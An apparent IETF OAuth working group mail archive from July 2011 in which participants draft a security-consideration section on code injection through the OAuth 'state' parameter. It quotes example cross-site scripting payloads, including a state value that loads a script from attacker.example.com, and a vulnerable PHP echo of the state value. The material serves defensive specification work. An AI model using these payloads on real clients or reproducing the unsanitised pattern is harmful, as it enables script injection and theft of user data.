<90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CE2@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652D1E@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345021F378B7@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Mon, 25 Jul 2011 10:37:39 +0100 Message-ID: From: Aiden Bell To: Eran Hammer-Lahav Content-Type: multipart/alternative; boundary=0016e64dda1af2a65504a8e190a1 Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 09:37:44 -0000 --0016e64dda1af2a65504a8e190a1 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Sounds good Eran On 25 July 2011 07:37, Eran Hammer-Lahav wrote: > This seems too verbose, considering how fundamental input validation is i= n > general.**** > > ** ** > > I added the following to a new section:**** > > ** ** > > A code injection attack occurs when an input or otherwise > external variable is used by an**** > > application in which that input can cause modification of the > application logic when used**** > > unsanitized. This may allow an attacker to gain access to the > application device or its**** > > data, cause denial of service, or a wide range of malicious > side-effects.**** > > **** > > **** > > The Authorization server and client MUST validate and sanitize > any value received, and in**** > > particular, the value of the =91state=92 and =91redirect_uri=92 > parameters.**** > > ** ** > > EHL**** > > ** ** > > ** ** > > ** ** > > *From:* oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] *On Behalf > Of *Aiden Bell > *Sent:* Wednesday, July 20, 2011 12:04 PM > *To:* OAuth WG > > *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter**** > > ** ** > > See below for revision, tried to follow the "introduction, recommendation= , > example" > structure in 10.12 "Cross-site Request Forgery" and shorten my text. > > I'm strugging to make it clear that any internal modification to the > 'state' parameter > must not affect the re-transmitted value of 'state' in Authorization > Response / Error > Response when it originates from the authorisation server. > > ---**** > > > Security Consideration: Code Injection Attacks**** > > Code injection attacks are when an input or otherwise external variable i= s > used within > an application where that input can cause modification of application log= ic > when unsanitised. This may allow an attacker to gain access to client or > user data, > cause Denial of Service or a wide range of malicious side-effects.**** > > > > Incorrect validation or sanitation of the 'state' parameter from section > 4.1.2 could lead to code > injection. Both client and server SHOULD ensure that the "state" paramete= r > described**** > > in section 4.1.2 is correctly sanitised for internal processing, storage = or > output outside the > scope of the OAuth protocol. > > Failure to correctly sanitise the 'state' parameter can cause code > injection attacks even if a > cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] i= s > used. > > As an example, a malicious person may create a fake Error Response as > described in section > 4.1.2.1 containing a maliciously crafted state parameter. The following > request would be sent to > the client: > > > https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20t= ype%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%= 2Fmalicious.js%22%20%2F%3E > > Insecure transfer of the decoded value into the HTML buffer of the client > application > may result in the injection of code into the user agent of the end user, > possibly compromising data. > This example attack can be mitigated by sanitising the 'state' parameter = to > remove or escape HTML > syntax before interpolation of the value into server output to the user > agent. > > --end--**** > > On 20 July 2011 19:40, Eran Hammer-Lahav wrote:**** > > Take a look at how the other sections in the draft setup the premise firs= t > and give a quick explanation of the attack=85**** > > **** > > EHL**** > > **** > > *From:* Aiden Bell [mailto:aiden449@gmail.com] > *Sent:* Wednesday, July 20, 2011 11:38 AM > *To:* Eran Hammer-Lahav; OAuth WG**** > > > *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter**** > > **** > > Been following this discussion > > I'll propose some text, though it seems to me it is getting into the real= m > of "Don't trust inputs" > > It is also worth noting that signing the request using something like the > HMAC extension elevates any > problems where you DO need to evaluate the state parameter in some way > where the evaluation process > is too complex to secure (DSLs and languages in state, which is really ug= ly > but, someone may do it). > > Really though, just seems like general application security advice rather > than OAuth specific > > Security Consideration: Code Injection Attacks > > Incorrect validation or sanitation of the 'state' parameter from section > 4.1.2 could lead to code > injection. > > Both client and server SHOULD ensure that the "state" parameter described > in section 4.1.2 is correctly validated, escaped or sanitised prior to > processing for their application's > requirements. Modifications, for security or otherwise to the 'state' > variable contained in the Authorization Request by the > authorization server will not be transmitted to the client in the > Authorization Response or Error Response > as the response 'state' value MUST be identical to the value in the > request. > > If the 'state' parameter passed between client and server contains a valu= e > which is interpreted or > otherwise placed into a context that requires evaluation of the unmodifie= d > value then a cryptographic > scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be use= d > to verify request authenticity. > It should be noted however than a cryptographically authentic request may > still contain malicious > code if the client or server integrity can not be established and trusted= . > > As an example, a malicious person may create a fake Error Response as > described in section > 4.1.2.1 containing a maliciously crafted state parameter. The following > request would be sent to > the client: > > > https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20t= ype%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%= 2Fmalicious.js%22%20%2F%3E > > Insecure transfer of the decoded value into the HTML buffer of the client > application > may result in the injection of code into the user agent of the end user, > possibly compromising data. > This example attack can be mitigated by sanitising the 'state' parameter = to > remove or escape HTML > syntax before interpolation of the value into server output to the user > agent. > > --end-- > > Not claiming it is good, well written or concise ... but it is proposed. > Even if it is rejected, feedback > would be appreciated. > > Thanks, > Aiden**** > > On 20 July 2011 18:36, Eran Hammer-Lahav wrote:**** > > I think most of your description isn't very relevant to this particular > attack. I'll skip to the part where the legitimate client gets a maliciou= sly > modified state parameter value. > > Your concern seems to be a simple code injection attack (e.g. that some > clients will not properly protect their code from invalid state values). = For > example, a client may use state to pass a JSON string and when it receive= s > it back, calls eval() on the raw state value or even JSON.parse without > catching exceptions. > > The right way to address this is to add a new security consideration > section discussion the various Injection Attacks possible. Using state to > include malicious code is one. Another is code injection in the redirect_= uri > by a malicious client to an authorization server supporting dynamic > redirection URIs. > > Then of course, there really is no need for any elaborate setup for anyon= e > to send requests to the client redirection URI endpoint directly (without > following any of the flow). In such a case, the enforcement of safe state > values by the authorization server will accomplish nothing if the client > doesn't perform its own validation (and we're back to square one). In oth= er > words, I can call any endpoint on the client with any malicious parameter= s > and try to break it. > > But even if you perform input validation on the client side, which should > prevent a code injection attack, you are still open to other malicious > manipulation of the state parameter. For example, a na=EFve client can us= e the > state parameter to pass a user id so that when the redirection callback i= s > called, it can link the access token to that account. That of course, wou= ld > be a very bad thing (tm) without some protection (e.g. state cookie) whic= h > the client can use to validate the state value. > > In short, over specification does not solve ignorance. We can and should > highlight the possible code injection attacks on both the client and > authorization server, as well as other security concerns around the state > parameter. But at the end, it is up to both the client and authorization > server developers to build secure applications. > > So, anyone volunteering to propose text?**** > > > EHL > > > > -----Original Message----- > > From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf Of > > Bob Van Zant**** > > > Sent: Wednesday, July 20, 2011 9:29 AM > > To: Eran Hammer-Lahav > > Cc: Breno; OAuth WG**** > > > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > > > The problem lies in the inherent trust of the state parameter. The naiv= e > > client application developer assumes that state goes out to the > authorization > > server and comes back unchanged; because that's what the spec says will > > happen. > > > > As a malicious person I use the client application and steal the client > id when > > I'm redirected to the authorization server. > > > > I then craft my own authorization URL pretending to act on behalf of th= e > > client application. > > > > http://example.com/oauth/authorize?client_id=3Ddeadbeef&response_type= =3D > > code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E > > > > I send that out to unsuspecting people. Those people are sent to my sit= e; > > maybe they trust it. The site is asking them to authorize an applicatio= n > they > > perhaps they're familiar with. So they do. > > > > Now the assumption, and it's really not much of a leap of faith, is tha= t > some > > client developer is going to take that state variable and put it direct= ly > into > > their site. In PHP it could be something silly > > like: > > > > Thanks for authorizing our app, $_GET["state"]. > > > > Chrome protects me from this basic attack (I just inserted it into one = of > my > > demos): Refused to execute a JavaScript script. Source code of script > found > > within request. Other browsers won't. Real attackers are more creative > than > > me. > > > > -Bob > > > > > > > > > > > > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > > wrote: > > > Can you provide examples of bad values and how they make the > > implementation less secure? What's the attack vector here? > > > > > > EHL > > > > > >> -----Original Message----- > > >> From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf > > Of > > >> Bob Van Zant > > >> Sent: Wednesday, July 20, 2011 9:10 AM > > >> To: Breno; Eran Hammer-Lahav > > >> Cc: OAuth WG > > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > >> > > >> I think somewhere in here my original comments got lost. The spec, a= s > > >> written, provides no limitations on what can go in the state variabl= e. > > >> If we don't define those limitations in the spec implementors are > > >> going to define their own limitations (I'm on the verge of doing it > myself). > > >> > > >> I propose that the state variable be limited to the set of character= s > > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 > characters. > > >> It's simple, doesn't require URL encoding, and will be hard for a > > >> client application to turn into a vulnerability. It provides plenty > > >> of uniqueness (it can fit a sha512) for even the largest and most us= ed > > client applications. > > >> > > >> -Bob > > >> > > >> > > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno > > >> wrote: > > >> > > > >> > > > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > > >> > > > >> > wrote: > > >> >> > > >> >> > > >> >> > -----Original Message----- > > >> >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On > > >> >> > Behalf Of Eliot Lear > > >> >> > Sent: Sunday, July 17, 2011 2:49 AM > > >> >> > > >> >> > One other point: if the redirection_uri can have fragments and > > >> >> > can be provided, why is state necessary? > > >> >> > > >> >> First, I assume you mean query instead of fragment. > > >> >> > > >> >> This was discussed on the list about a year ago. There isn't a > > >> >> requirement to support both dynamic redirection URIs as well as a > > >> >> special state parameter. However, the state parameter provides a > > >> >> better way to allow customization of the redirection request > > >> >> alongside full registration of the redirection URI. Section 3.1.2 > > >> >> recommends using the state parameter over changing the redirectio= n > > >> >> URI > > >> itself. > > >> >> > > >> >> Using state is much simpler because the authorization server does > > >> >> not have to implement potentially insecure URI comparison > > >> >> algorithms for dynamic redirection URIs. > > >> > > > >> > Agree -- for instance, Google's provider doesn't allow arbitrary > > >> > dynamic specification of query or fragment parameters in redirect > > >> > URIs, for instance, due largely to security considerations. > > >> > > > >> >> > > >> >> EHL > > >> >> _______________________________________________ > > >> >> OAuth mailing list > > >> >> OAuth@ietf.org > > >> >> https://www.ietf.org/mailman/listinfo/oauth > > >> > > > >> > > > >> > > > >> > -- > > >> > Breno de Medeiros > > >> > > > >> > > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth**** > > > > > -- > ------------------------------------------------------------------ > Never send sensitive or private information via email unless it is > encrypted. http://www.gnupg.org**** > > > > > -- > ------------------------------------------------------------------ > Never send sensitive or private information via email unless it is > encrypted. http://www.gnupg.org**** > --=20 ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org --0016e64dda1af2a65504a8e190a1 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Sounds good Eran

On 25 July 2011 07:37, E= ran Hammer-Lahav <eran@hueniverse.com> wrote:

This seems too verbose, = considering how fundamental input validation is in general.

=A0

I added the following to a new section:

=A0

=A0=A0=A0=A0=A0=A0=A0= =A0=A0 A code injection attack occurs when an input or otherwise external v= ariable is used by an

=A0=A0 =A0=A0=A0=A0=A0=A0=A0application in w= hich that input can cause modification of the application logic when used

=A0=A0=A0=A0=A0=A0=A0=A0=A0 unsanitized. Thi= s may allow an attacker to gain access to the application device or its<= /u>

=A0=A0=A0=A0=A0=A0=A0=A0=A0 data, cause deni= al of service, or a wide range of malicious side-effects.

=A0=A0=A0= =A0=A0=A0=A0 </t>

=A0=A0=A0=A0=A0=A0=A0 <= t= >= <= /p>

=A0=A0=A0=A0=A0=A0=A0=A0=A0 The Authorizatio= n server and client MUST validate and sanitize any value received, and in

=A0=A0=A0=A0=A0=A0=A0=A0=A0 particular, the = value of the =91state=92 and =91redirect_= uri=92 parameters.

=A0

EHL

=A0

=A0

=A0

=

From:= oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Be= half Of Aiden Bell
Sent: Wednesday, July 20, 2011 12:04 PM
To: OAuth WG


Subject: Re: [OAUTH-WG] O= Auth v2-18 comment on "state" parameter

=A0

See below for revision, tried = to follow the "introduction, recommendation, example"
structur= e in 10.12 "Cross-site Request Forgery" and shorten my text.

I'm strugging to make it clear that any internal modification to th= e 'state' parameter
must not affect the re-transmitted value of = 'state' in Authorization Response / Error
Response when it origi= nates from the authorisation server.

---


Security Consideration: Code Injection Attacks

Code injection attacks are when an input or = otherwise external variable is used within
an application where that input can cause modification of application logic=
when unsanitised. This may allow an attacker to gain access to client o= r user data,
cause Denial of Service or a wide range of malicious side-e= ffects.



Incorrect validation or sanitation of t= he 'state' parameter from section 4.1.2 could lead to code
injec= tion. Both client and server SHOULD ensure that the "state" param= eter described

in section 4.1.= 2 is correctly sanitised for internal processing, storage or output outside= the
scope of the OAuth protocol.

Failure to correctly sanitise = the 'state' parameter can cause code injection attacks even if a cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is = used.

As an example, a malicious person may create a fake Error Resp= onse as described in section
4.1.2.1 containing a maliciously crafted st= ate parameter. The following request would be sent to
the client:

=A0https://client.example.com/cb?error=3Daccess_denied&state=3D%3Csc= ript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.exam= ple.com%2Fmalicious.js%22%20%2F%3E

Insecure transfer of the decoded value into the HTML buffer of the clie= nt application
may result in the injection of code into the user agent o= f the end user, possibly compromising data.
This example attack can be = mitigated by sanitising the 'state' parameter to remove or escape H= TML
syntax before interpolation of the value into server output to the user age= nt.

--end--

On 20 July = 2011 19:40, Eran Hammer-Lahav <eran@hueniverse.com> wrote:

Take a look at how the other sections in the draft setup the premise f= irst and give a quick explanation of the attack=85

=

=A0

=

EHL

=A0

From: Aiden Bell [mailto:<= a href=3D"mailto:aiden449@gmail.com" target=3D"_blank">aiden449@gmail.com]
Sent: Wednesday, July 20, 2011 11:38 AM
To: Eran Hammer-La= hav; OAuth WG


= Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" par= ameter

=A0<= /p>

Been following thi= s discussion

I'll propose some text, though it seems to me it is= getting into the realm of "Don't trust inputs"

It is also worth noting that signing the request using something like t= he HMAC extension elevates any
problems where you DO need to evaluate th= e state parameter in some way where the evaluation process
is too comple= x to secure (DSLs and languages in state, which is really ugly but, someone= may do it).

Really though, just seems like general application security advice rath= er than OAuth specific

Security Consideration: Code Injection Attack= s

Incorrect validation or sanitation of the 'state' paramete= r from section 4.1.2 could lead to code
injection.

Both client and server SHOULD ensure that the "state= " parameter described
in section 4.1.2 is correctly validated, esca= ped or sanitised prior to processing for their application's
require= ments. Modifications, for security or otherwise to the 'state' vari= able contained in the Authorization Request by the
authorization server will not be transmitted to the client in the Authoriza= tion Response or Error Response
as the response 'state' value MU= ST be identical to the value in the request.

If the 'state' = parameter passed between client and server contains a value which is interp= reted or
otherwise placed into a context that requires evaluation of the unmodified = value then a cryptographic
scheme such as that defined in [I-D.ietf-oaut= h-v2-http-mac] should be used to verify request authenticity.
It should = be noted however than a cryptographically authentic request may still conta= in malicious
code if the client or server integrity can not be established and trusted.<= br>
As an example, a malicious person may create a fake Error Response a= s described in section
4.1.2.1 containing a maliciously crafted state pa= rameter. The following request would be sent to
the client:

=A0https://client.example.com/cb?error=3Daccess_denied&state=3D%3Csc= ript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.exam= ple.com%2Fmalicious.js%22%20%2F%3E

Insecure transfer of the decoded value into the HTML buffer of the clie= nt application
may result in the injection of code into the user agent o= f the end user, possibly compromising data.
This example attack can be = mitigated by sanitising the 'state' parameter to remove or escape H= TML
syntax before interpolation of the value into server output to the user age= nt.

--end--

Not claiming it is good, well written or concise = ... but it is proposed. Even if it is rejected, feedback
would be apprec= iated.

Thanks,
Aiden

On 20 Jul= y 2011 18:36, Eran Hammer-Lahav <eran@hueniverse.com> wrote:

I think most of your description isn't very relevant to this particular= attack. I'll skip to the part where the legitimate client gets a malic= iously modified state parameter value.

Your concern seems to be a si= mple code injection attack (e.g. that some clients will not properly protec= t their code from invalid state values). For example, a client may use stat= e to pass a JSON string and when it receives it back, calls eval() on the r= aw state value or even JSON.parse without catching exceptions.

The right way to address this is to add a new security consideration se= ction discussion the various Injection Attacks possible. Using state to inc= lude malicious code is one. Another is code injection in the redirect_uri b= y a malicious client to an authorization server supporting dynamic redirect= ion URIs.

Then of course, there really is no need for any elaborate setup for any= one to send requests to the client redirection URI endpoint directly (witho= ut following any of the flow). In such a case, the enforcement of safe stat= e values by the authorization server will accomplish nothing if the client = doesn't perform its own validation (and we're back to square one). = In other words, I can call any endpoint on the client with any malicious pa= rameters and try to break it.

But even if you perform input validation on the client side, which shou= ld prevent a code injection attack, you are still open to other malicious m= anipulation of the state parameter. For example, a na=EFve client can use t= he state parameter to pass a user id so that when the redirection callback = is called, it can link the access token to that account. That of course, wo= uld be a very bad thing (tm) without some protection (e.g. state cookie) wh= ich the client can use to validate the state value.

In short, over specification does not solve ignorance. We can and shoul= d highlight the possible code injection attacks on both the client and auth= orization server, as well as other security concerns around the state param= eter. But at the end, it is up to both the client and authorization server = developers to build secure applications.

So, anyone volunteering to propose text?


EHL


> -----Original Message-----
> F= rom: bigbadbob0@g= mail.com [mailto:bigbadbob0@gmail.com] On Behalf Of
> Bob Van Zant

> Sent: = Wednesday, July 20, 2011 9:29 AM
> To: Eran Hammer-Lahav
> Cc: = Breno; OAuth WG

> Subj= ect: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
>
> The problem lies in the inherent trust of the state parameter.= The naive
> client application developer assumes that state goes out= to the authorization
> server and comes back unchanged; because that= 's what the spec says will
> happen.
>
> As a malicious person I use the client applica= tion and steal the client id when
> I'm redirected to the authori= zation server.
>
> I then craft my own authorization URL preten= ding to act on behalf of the
> client application.
>
> ht= tp://example.com/oauth/authorize?client_id=3Ddeadbeef&response_type=3D<= /a>
> code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscrip= t%3E
>
> I send that out to unsuspecting people. Those people are sent = to my site;
> maybe they trust it. The site is asking them to authori= ze an application they
> perhaps they're familiar with. So they d= o.
>
> Now the assumption, and it's really not much of a leap of = faith, is that some
> client developer is going to take that state va= riable and put it directly into
> their site. In PHP it could be some= thing silly
> like:
>
> =A0 =A0 Thanks for authorizing our app, $_GET[&q= uot;state"].
>
> Chrome protects me from this basic attack= (I just inserted it into one of my
> demos): Refused to execute a Ja= vaScript script. Source code of script found
> within request. Other browsers won't. Real attackers are more crea= tive than
> me.
>
> -Bob
>
>
>
><= br>>
> On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav
> = <eran@huenivers= e.com> wrote:
> > Can you provide examples of bad values and how they make the
&= gt; implementation less secure? What's the attack vector here?
> = >
> > EHL
> >
> >> -----Original Message--= ---
> >> From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf
> Of
> &= gt;> Bob Van Zant
> >> Sent: Wednesday, July 20, 2011 9:10 AM
> >> To: B= reno; Eran Hammer-Lahav
> >> Cc: OAuth WG
> >> Subj= ect: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
> >>
> >> I think somewhere in here my original commen= ts got lost. The spec, as
> >> written, provides no limitations= on what can go in the state variable.
> >> If we don't def= ine those limitations in the spec implementors are
> >> going to define their own limitations (I'm on the verge o= f doing it myself).
> >>
> >> I propose that the st= ate variable be limited to the set of characters
> >> [a-zA-Z0-= 9_-] and be restricted to a maximum length of 150 characters.
> >> It's simple, doesn't require URL encoding, and will b= e hard for a
> >> client application to turn into a vulnerabili= ty. It provides plenty
> >> of uniqueness (it can fit a sha512)= for even the largest and most used
> client applications.
> >>
> >> -Bob
> &g= t;>
> >>
> >> On Wed, Jul 20, 2011 at 8:24 AM, B= reno <br= eno.demedeiros@gmail.com>
> >> wrote:
> >> >
> >> >
> &g= t;> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav
> >= ;> > <era= n@hueniverse.com>
> >> > wrote:
> >> >>
> >> >&g= t;
> >> >> > -----Original Message-----
> >&g= t; >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On
> >> >> > Behalf Of Eliot Lear
> >> >> = > Sent: Sunday, July 17, 2011 2:49 AM
> >> >>
> = >> >> > One other point: if the redirection_uri can have fra= gments and
> >> >> > can be provided, why is state necessary?
>= ; >> >>
> >> >> First, I assume you mean quer= y instead of fragment.
> >> >>
> >> >> = This was discussed on the list about a year ago. There isn't a
> >> >> requirement to support both dynamic redirection URIs= as well as a
> >> >> special state parameter. However, t= he state parameter provides a
> >> >> better way to allow= customization of the redirection request
> >> >> alongside full registration of the redirection URI. = Section 3.1.2
> >> >> recommends using the state paramete= r over changing the redirection
> >> >> URI
> >&= gt; itself.
> >> >>
> >> >> Using state is much simple= r because the authorization server does
> >> >> not have = to implement potentially insecure URI comparison
> >> >> = algorithms for dynamic redirection URIs.
> >> >
> >> > Agree -- for instance, Google'= s provider doesn't allow arbitrary
> >> > dynamic specif= ication of query or fragment parameters in redirect
> >> > U= RIs, for instance, due largely to security considerations.
> >> >
> >> >>
> >> >> EHL<= br>> >> >> _______________________________________________> >> >> OAuth mailing list
> >> >> OAuth@ietf.org
> >> >> https://www.ietf.org/mailman/listinfo/oauth
&g= t; >> >
> >> >
> >> >
> >&g= t; > --
> >> > Breno de Medeiros
> >> >
> >>= >
> >
_______________________________________________
OA= uth mailing list
OAu= th@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth




--
------------= ------------------------------------------------------
Never send sensitive or private information via email unless it is encrypte= d. http://www.gnupg.org<= /a>




--
------------------------------------------= ------------------------
Never send sensitive or private information via= email unless it is encrypted. http://www.gnupg.org




= --
------------------------------------------------------------------Never send sensitive or private information via email unless it is encryp= ted. http://www.gnupg.org
--0016e64dda1af2a65504a8e190a1-- From stpeter@stpeter.im Mon Jul 25 05:20:41 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E998421F84A1 for ; Mon, 25 Jul 2011 05:20:40 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.599 X-Spam-Level: X-Spam-Status: No, score=-102.599 tagged_above=-999 required=5 tests=[AWL=0.000, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id xR15n512TY4s for ; Mon, 25 Jul 2011 05:20:40 -0700 (PDT) Received: from stpeter.im (mailhost.stpeter.im [207.210.219.225]) by ietfa.amsl.com (Postfix) with ESMTP id ABAF721F8451 for ; Mon, 25 Jul 2011 05:20:38 -0700 (PDT) Received: from squire.local (unknown [198.135.0.233]) (Authenticated sender: stpeter) by stpeter.im (Postfix) with ESMTPSA id 8FAF5411C7; Mon, 25 Jul 2011 06:21:33 -0600 (MDT) Message-ID: <4E2D5F94.9020207@stpeter.im> Date: Mon, 25 Jul 2011 08:20:36 -0400 From: Peter Saint-Andre User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: Eran Hammer-Lahav References: <90C41DD21FB7C64BB94121FBBC2E72345021F378BF@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F378BF@P3PW5EX1MB01.EX1.SECURESERVER.NET> X-Enigmail-Version: 1.2 OpenPGP: url=https://stpeter.im/stpeter.asc Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Cc: OAuth WG Subject: Re: [OAUTH-WG] Draft -19 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 12:20:41 -0000 On 7/25/11 4:06 AM, Eran Hammer-Lahav wrote: > Draft 19 includes all the feedback received for -18: BTW, the diff is here: http://tools.ietf.org/rfcdiff?url2=draft-ietf-oauth-v2-19.txt /psa From llynch@civil-tongue.net Mon Jul 25 06:46:42 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 312F921F8AFD for ; Mon, 25 Jul 2011 06:46:42 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.599 X-Spam-Level: X-Spam-Status: No, score=-102.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id xgzAsP4p4xfm for ; Mon, 25 Jul 2011 06:46:41 -0700 (PDT) Received: from hiroshima.bogus.com (hiroshima.bogus.com [IPv6:2001:418:1::80]) by ietfa.amsl.com (Postfix) with ESMTP id 8468421F8A23 for ; Mon, 25 Jul 2011 06:46:41 -0700 (PDT) Received: from hiroshima.bogus.com (localhost [127.0.0.1]) by hiroshima.bogus.com (8.14.3/8.14.3) with ESMTP id p6PDkS5P091621 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 25 Jul 2011 06:46:29 -0700 (PDT) (envelope-from llynch@civil-tongue.net) Received: from localhost (llynch@localhost) by hiroshima.bogus.com (8.14.3/8.14.3/Submit) with ESMTP id p6PDkSkp091618; Mon, 25 Jul 2011 06:46:28 -0700 (PDT) (envelope-from llynch@civil-tongue.net) Date: Mon, 25 Jul 2011 06:46:28 -0700 (PDT) From: Lucy Lynch X-X-Sender: llynch@hiroshima.bogus.com To: Peter Saint-Andre In-Reply-To: <4E2D5F94.9020207@stpeter.im> Message-ID: References: <90C41DD21FB7C64BB94121FBBC2E72345021F378BF@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2D5F94.9020207@stpeter.im> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: OAuth WG Subject: Re: [OAUTH-WG] Draft -19 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 13:46:42 -0000 On Mon, 25 Jul 2011, Peter Saint-Andre wrote: > On 7/25/11 4:06 AM, Eran Hammer-Lahav wrote: >> Draft 19 includes all the feedback received for -18: > > BTW, the diff is here: > > http://tools.ietf.org/rfcdiff?url2=draft-ietf-oauth-v2-19.txt clarifying question on section 10.1 - I'm reading this as suggested handling for the Client URI portion of a redirection endpoint - is that correct? > /psa > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > From bcampbell@pingidentity.com Mon Jul 25 08:18:59 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5846C21F8E0E for ; Mon, 25 Jul 2011 08:18:59 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.946 X-Spam-Level: X-Spam-Status: No, score=-5.946 tagged_above=-999 required=5 tests=[AWL=0.031, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id bpVXBJuHRBW1 for ; Mon, 25 Jul 2011 08:18:58 -0700 (PDT) Received: from na3sys009aog110.obsmtp.com (na3sys009aog110.obsmtp.com [74.125.149.203]) by ietfa.amsl.com (Postfix) with ESMTP id 4731C21F8B7D for ; Mon, 25 Jul 2011 07:02:32 -0700 (PDT) Received: from mail-qy0-f179.google.com ([209.85.216.179]) (using TLSv1) by na3sys009aob110.postini.com ([74.125.148.12]) with SMTP ID DSNKTi13d5xITdTB/mezOzeEDHo0Rq6JwCGR@postini.com; Mon, 25 Jul 2011 07:02:33 PDT Received: by mail-qy0-f179.google.com with SMTP id 29so2956664qyk.10 for ; Mon, 25 Jul 2011 07:02:31 -0700 (PDT) Received: by 10.224.207.193 with SMTP id fz1mr3779150qab.43.1311602551161; Mon, 25 Jul 2011 07:02:31 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.11.68 with HTTP; Mon, 25 Jul 2011 07:02:01 -0700 (PDT) From: Brian Campbell Date: Mon, 25 Jul 2011 08:02:01 -0600 Message-ID: To: oauth Content-Type: text/plain; charset=ISO-8859-1 Subject: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: 